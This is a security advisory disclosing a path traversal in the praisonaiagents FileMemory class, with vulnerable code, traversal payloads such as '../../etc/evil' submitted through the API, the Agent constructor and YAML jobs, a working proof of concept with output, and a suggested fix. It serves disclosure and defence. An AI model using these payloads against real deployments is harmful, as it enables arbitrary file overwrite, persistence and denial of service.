PYSEC-2026-3902

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PYSEC-2026-3902

Summary: praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

Details: ### Summary `praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all memory file paths by directly joining the `user_id` parameter to a base path: ```python self.user_path = self.base_path / user_id # LINE 145 — no sanitization ``` No validation or normalization is applied to `user_id` before the path join. An attacker who can supply a `user_id` containing `../` sequences can write arbitrary JSON files (memory content) to **any writable location on the filesystem**. The vulnerability is confirmed **live on the current `main` branch** (`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744** (which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the core library). ### Details **Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:** ```python def __init__( self, user_id: str = "default", base_path: Optional[str] = None, ... ): ... self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION self.episodic_path = self.user_path / "episodic" self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path self.episodic_path.mkdir(parents=True, exist_ok=True) self.config_file = self.user_path / "config.json" self.short_term_file = self.user_path / "short_term.json" self.long_term_file = self.user_path / "long_term.json" self.entities_file = self.user_path / "entities.json" self.summaries_file = self.user_path / "summaries.json" ``` All five JSON files are written under `user_path`, which is directly derived from the attacker-controlled `user_id`. The written content is valid JSON in the memory item format (configurable user content + metadata). **Comparison with the patched reference — `praisonaiagents/storage/backends.py` (SQLiteBackend):** The sibling `SQLiteBackend` validates its `table_name` with a regex: ```python if not re.match(r'^[a-zA-Z0-9_]+$', table_name): raise ValueError(...) ``` No equivalent validation exists in `FileMemory`. **Attack chains:** *A — Direct Python API (any caller):* ```python from praisonaiagents.memory.file_memory import FileMemory mem = FileMemory(user_id="../../etc/evil") mem.add_short_term("injected content") # Creates /etc/evil/short_term.json (on Linux) # Creates C:\evil\short_term.json (on Windows) ``` *B — Via `Agent` constructor (memory dict):* ```python from praisonaiagents import Agent agent = Agent( name="assistant", memory={"provider": "file", "user_id": "../../etc/evil"}, instructions="You are a helpful assistant.", ) # FileMemory(user_id="../../etc/evil") called at agent init ``` *C — Via agents.yaml / job submission (`agent_yaml` field):* ```yaml # Submitted via POST /jobs with agent_yaml: agents: researcher: memory: provider: file user_id: "../../tmp/evil" role: "Research assistant" goal: "Research topics" ``` `agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor. ### PoC **Environment:** Python 3.9+, `praisonaiagents <= 1.6.52` **Step 1 — Verify path escapes base (no dependencies needed):** ```python from pathlib import Path import tempfile base = Path(tempfile.gettempdir()) / "praisonai" / "memory" user_id = "../../../tmp/evil_escape" user_path = base / user_id try: user_path.resolve().relative_to(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", user_path.resolve()) ``` Output: ``` !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evil_escape ``` **Step 2 — Live exploit (files written outside base):** ```python import tempfile, json from pathlib import Path from praisonaiagents.memory.file_memory import FileMemory BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory" BASE.mkdir(parents=True, exist_ok=True) TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve() mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE)) mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this") mem.add_long_term("SENSITIVE_DATA", importance=0.9) # Verify files appeared OUTSIDE the base directory for fname in ["short_term.json", "long_term.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}") ``` **Observed output (run on current `main`):** ``` WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json Content: PROOF_OF_TRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json Content: SENSITIVE_DATA WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json ``` ### Impact **What kind of vulnerability:** Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process. **Who is impacted:** - Any application that creates `FileMemory` instances with user-controlled `user_id` - Any PraisonAI deployment where users can supply the `user_id` parameter directly or indirectly (via `Agent(memory={"user_id": ...})`, agents.yaml, or jobs API) **High-impact scenarios:** 1. **Overwrite Python package files**: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser. 2. **Overwrite web server / app config**: Write `config.json` or `settings.json` to an app's configuration directory, potentially modifying runtime behavior. 3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths (Linux) or `%APPDATA%\Startup\` (Windows) directories that might be interpreted by monitoring systems. 4. **Denial of Service**: Write large JSON memory files into system directories, filling disk space or overwriting critical config files. 5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path. **Distinction from GHSA-766v-q9x3-g744:** | | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) | | Class | `MultiAgentMonitor` | `FileMemory` | | Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) | ``` --- ## Remediation Suggestion (for maintainers) Validate and resolve `user_id` before using it in path construction: ```python def __init__(self, user_id: str = "default", base_path=None, ...): ... # ADDED: sanitize user_id import re if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id): raise ValueError( f"user_id '{user_id}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." ) self.user_path = self.base_path / user_id # ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.user_path.resolve() base_resolved = self.base_path.resolve() try: resolved.relative_to(base_resolved) except ValueError: raise ValueError( f"user_id '{user_id}' would write outside the base memory directory." ) ``` The same pattern should be applied to `base_path` parameter.

References: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22, https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1, https://github.com/MervinPraison/PraisonAI, https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58, https://pypi.org/project/praisonaiagents, https://github.com/advisories/GHSA-gxmw-5f7x-6g22, https://nvd.nist.gov/vuln/detail/CVE-2026-55527